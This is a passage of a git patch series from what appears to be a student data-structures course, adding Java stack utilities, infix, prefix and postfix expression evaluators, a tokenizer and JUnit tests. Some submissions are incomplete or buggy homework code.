+ * Created by bdl19 on 2017/4/8.
+ */
+public class Stack {
+	private int count;
+	private ArrayList elementData;
+
+	public Stack() {
+		this.count = 0;
+		elementData = new ArrayList();
+	}
+
+	public void push(Object o) {
+		count++;
+		elementData.add(o);
+
+	}
+
+	public Object pop() {
+		count--;
+		Object o = elementData.get(count);
+		elementData.remove(count);
+		return o;
+	}
+
+	public Object peek() {
+
+		return elementData.get(count-1);
+	}
+
+	public boolean isEmpty() {
+		if (count == 0) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	public int size() {
+		return count;
+	}
+
+	public String toString(){
+		StringBuilder sb = new StringBuilder();
+		Stack s = new Stack();
+		while(!this.isEmpty()){
+			sb.append(this.peek().toString());
+			sb.append(",");
+			s.push(this.pop());
+		}
+		while(!s.isEmpty()){
+			this.push(s.pop());
+		}
+
+//       sb.deleteCharAt(sb.length()-1);
+		return sb.toString();
+	}
+}
+
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..0148188b29
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,136 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+
+		s = tmpStack;
+
+	}
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Integer top = s.pop();
+		reverse(s);
+		addToBottom(s,top);
+
+
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 *
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack tmpStack = new Stack();
+
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			}
+		}
+
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+
+		Stack tmpStack = new Stack();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+
+		Stack<Character> stack = new Stack();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+
+			if(c == '(' || c =='[' || c == '{'){
+
+				stack.push(c);
+
+			} else if( c == ')'){
+
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+
+			} else if( c == ']'){
+
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+
+			} else if( c == '}'){
+
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+
+			}
+		}
+		return stack.size() == 0;
+	}
+
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..76f2cb7668
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..ef85ff007f
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,15 @@
+package com.coding.basic.stack.expr;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..96a2194a67
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,14 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..8400bef4f8
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,95 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+    String expr = null;
+    int count;
+    ArrayList operator = new ArrayList();
+    Stack numStack = new Stack();
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        operator.add('+');
+        operator.add('-');
+        operator.add('*');
+        operator.add('/');
+        this.count = 0;
+        char[] exprs = this.expr.toCharArray();
+
+
+
+        while (count < exprs.length) {
+            if (operator.contains(exprs[count])) {
+                switch (exprs[count]) {
+                    case '+':
+                        add();
+                        break;
+                    case '-':
+                        subtract();
+                        break;
+                    case '*':
+                        multiply();
+                        break;
+                    case '/':
+                        divide();
+                        break;
+
+                }
+                this.count++;
+            } else if (exprs[count] == ' ') {
+                this.count++;
+            } else {
+                int num = getNum(exprs);
+                numStack.push(num);
+            }
+
+        }
+        int result = (int)numStack.pop();
+        return result;
+    }
+
+    private int getNum(char[] exprs) {
+
+        int num = exprs[count]-'0';
+        this.count++;
+
+        while (exprs[count] >= '0' && exprs[count] <= '9') {
+
+            num *= 10;
+            num += exprs[count]-'0';
+            this.count++;
+        }
+        return num;
+    }
+
+    private void add() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a + b);
+    }
+
+    private void subtract() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b - a);
+    }
+
+    private void multiply() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b * a);
+    }
+
+    private void divide() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b / a);
+    }
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..7a2c0379a1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,98 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+    int index;
+    ArrayList operator = new ArrayList();
+    Stack numStack = new Stack();
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        operator.add('+');
+        operator.add('-');
+        operator.add('*');
+        operator.add('/');
+        char[] exprs = this.expr.toCharArray();
+        this.index = exprs.length - 1;
+
+        while (index >= 0) {
+            if (operator.contains(exprs[index])) {
+                switch (exprs[index]) {
+                    case '+':
+                        add();
+                        break;
+                    case '-':
+                        subtract();
+                        break;
+                    case '*':
+                        multiply();
+                        break;
+                    case '/':
+                        divide();
+                        break;
+
+                }
+                this.index--;
+            } else if (exprs[index] == ' ') {
+                this.index--;
+            } else {
+                int num = getNum(exprs);
+                numStack.push(num);
+            }
+
+        }
+        int result = (int) numStack.pop();
+        return result;
+
+    }
+
+    private int getNum(char[] exprs) {
+
+        int num = exprs[index] - '0';
+        this.index--;
+        int i = 10;
+        while (exprs[index] >= '0' && exprs[index] <= '9') {
+
+            int temp = exprs[index] - '0';
+            temp *= i;
+            num += temp;
+            i *= 10;
+            this.index--;
+        }
+        return num;
+    }
+
+    private void add() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a + b);
+    }
+
+    private void subtract() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a - b);
+    }
+
+    private void multiply() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b * a);
+    }
+
+    private void divide() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a / b);
+    }
+
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..d3b0f167e1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From d7173ddfef59b5318e88ab3110b7832236c96e07 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Sun, 23 Apr 2017 14:04:26 +0800
Subject: [PATCH 105/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../basic/stack/expr/InfixToPostfix.java      | 110 ++++++++++++++++--
 1 file changed, 103 insertions(+), 7 deletions(-)

diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
index 96a2194a67..92c31a1085 100644
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -1,14 +1,110 @@
 package com.coding.basic.stack.expr;
 
+import com.coding.basic.stack.Stack;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
 import java.util.List;
 
 public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-		
-		return null;
-	}
-	
-	
+    private static List op = new ArrayList();
+
+    public static List<Token> convert(String expr) {
+        op.add('+');
+        op.add('-');
+        op.add('*');
+        op.add('/');
+        List<String> numList = new LinkedList<>();
+        List<String> opList = new LinkedList<>();
+
+        List<Token> list = new ArrayList<Token>();
+
+
+        char[] chars = expr.toCharArray();
+
+        int index = 0;
+        while (index < chars.length) {
+            if (op.contains(chars[index])) {
+                if (chars[index] == '*' || chars[index] == '/') {
+
+                    char oper = chars[index];
+
+                    StringBuilder sb = new StringBuilder();
+                    index++;
+                    while (chars[index] >= '0' && chars[index] <= '9') {
+                        sb.append(chars[index]);
+                        index++;
+                    }
+                    String s = numList.get(numList.size() - 1);
+                    numList.remove(numList.size() - 1);
+                    StringBuilder buffer = new StringBuilder();
+                    buffer.append(s + ' ');
+                    buffer.append(sb);
+                    buffer.append(oper);
+                    numList.add(buffer.toString());
+                    //numStack.push(buffer.toString());
+
+                } else {
+                    opList.add("" + chars[index]);
+                    //opStack.push(chars[index]);
+                }
+                index++;
+            } else if (chars[index] == ' ') {
+                index++;
+            } else {
+                StringBuilder sb = new StringBuilder();
+                while (chars[index] >= '0' && chars[index] <= '9') {
+                    sb.append(chars[index]);
+                    index++;
+                }
+                numList.add(sb.toString());
+                //numStack.push(sb.toString());
+            }
+
+        }
+
+        int opListIndex = 0;
+        while (opListIndex < opList.size()) {
+            for (int i = 0; i < opList.size(); i++) {
+                String a = numList.get(0);
+                String b = numList.get(1);
+                numList.set(0, a + " " + b + " " + opList.get(opListIndex));
+                numList.remove(1);
+            }
+        }
+
+        String postfixExpr = numList.get(0);
+        char[] chars1 = postfixExpr.toCharArray();
+        index = 0;
+        while (index < chars1.length) {
+            if (chars1[index] == '+') {
+                Token token = new Token(1, "+");
+                list.add(token);
+            } else if (chars1[index] == '-') {
+                Token token = new Token(1, "-");
+                list.add(token);
+            } else if (chars1[index] == '*') {
+                Token token = new Token(1, "*");
+                list.add(token);
+            } else if (chars1[index] == '/') {
+                Token token = new Token(1, "/");
+                list.add(token);
+            }else if (chars1[index] == ' '){
+                index++;
+            }else {
+                StringBuilder sb = new StringBuilder();
+                while (chars1[index] >= '0' && chars1[index] <= '9') {
+                    sb.append(chars1[index]);
+                    index++;
+                }
+                Token token = new Token(2, sb.toString());
+                list.add(token);
+            }
+
+        }
+
+        return list;
+    }
+
 
 }

From a8941cadb6edb552446bd14b2e37308d243efbe3 Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Sun, 23 Apr 2017 15:00:09 +0800
Subject: [PATCH 106/262] =?UTF-8?q?=E8=A1=A5=E5=85=85InfixToPostfix?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../jvm/print/ConstantPoolPrinter.java        |  2 -
 .../coding/basic/stack/expr/InfixExpr.java    | 11 ----
 .../basic/stack/expr/InfixToPostfix.java      | 46 +++++++++++++++
 .../coding/basic/stack/expr/PostfixExpr.java  | 57 ++++++++++++++++++
 .../basic/stack/expr/PostfixExprTest.java     | 47 +++++++++++++++
 .../coding/basic/stack/expr/PrefixExpr.java   | 59 +++++++++++++++++++
 .../basic/stack/expr/PrefixExprTest.java      | 49 +++++++++++++++
 .../coding/basic/stack/expr/TokenParser.java  | 16 ++---
 8 files changed, 267 insertions(+), 20 deletions(-)
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExpr.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExprTest.java

diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
index 280a71aa5f..d56de1e8be 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -85,7 +85,5 @@ public void visitClassInfo(ClassInfo info) {
 			System.out.printf("%8s", "#" + i + " = ");//左对齐，8个空格
 			constantInfo.accept(visitor);
 		}
-		System.out.println("\n"+"\t"+"FORMATTED BY KANDDE.");
-		formatter.close();
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
index 6c582d9b97..453120c9c3 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -23,16 +23,6 @@ public float evaluate() {
 				if (opStack.isEmpty()) {
 					opStack.push(t);
 				} else {
-					/*Token topOperator = (Token) opStack.peek();
-					if (t.comparePriority(topOperator) >= 0) {
-						opStack.push(t);
-					} else {
-						Float f1 = (Float) numStack.pop();
-						Float f2 = (Float) numStack.pop();
-						numStack.push(calculate(topOperator.getValue(), f2, f1));
-						opStack.pop();
-						opStack.push(t);
-					}*/
 					while(!opStack.isEmpty() 
 							&& !t.hasHigherPriority(opStack.peek())) {
 						Token prevOperator = opStack.pop();
@@ -57,7 +47,6 @@ public float evaluate() {
 			numStack.push(calculate(opr.getValue(), f2, f1));
 		}
 		return numStack.pop();
-		//return 0.0f;
 	}
 
 	private Float calculate(String op, Float f1, Float f2) {
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..efb6daf9b3
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,46 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static Token[] convert(String expr) {
+		TokenParser parser = new TokenParser();
+		List<Token> infix = parser.parse(expr);
+		
+		Stack<Token> postfix = new Stack<Token>();
+		Stack<Token> op = new Stack<Token>();
+		for (Token token : infix) {
+             if (token.isDigit()) {                  
+                 postfix.push(token);
+             } /*else if (token.getValue().equals("(")) {
+                 op.push(token);
+             } else if (token.getValue().equals(")")) {
+                 while (!op.isEmpty() && !op.peek().getValue().equals("(")) {
+                     postfix.push(op.pop());
+                 }
+                 op.pop();
+             }*/ else if (token.isOperator()){
+                 if (op.isEmpty()) {
+                     op.push(token);
+                 } /*else if (op.peek().getValue().equals("(")) {
+                     op.push(token);
+                 } */else if (token.hasHigherPriority(op.peek())) {
+                     op.push(token);
+                 } else {
+                	 while (!op.isEmpty()/* &&! op.peek().getValue().equals("(")*/ && !token.hasHigherPriority(op.peek())) {
+                		 postfix.push(op.pop());                            
+                	 }
+                     op.push(token);                            
+                 }
+             }
+         }
+		while (!op.isEmpty()) {
+			postfix.push(op.pop());
+		}
+		Token[] result = new Token[postfix.size()];
+		return postfix.toArray(result);
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExpr.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..fd8afaa24d
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack();
+		Stack<Float> numStack = new Stack();
+		
+		Stack<Token> exprs = new Stack<Token>();
+		
+		for(int i = tokens.size()-1; i >= 0; i--) {
+			exprs.push(tokens.get(i));
+		}
+		
+		while(!exprs.isEmpty()) {
+			Token token = exprs.pop();
+			if (token.isDigit()) {
+				numStack.push(new Float(token.getIntValue()));
+			} else {
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(token.toString(), f2, f1));
+			}
+		}
+		
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
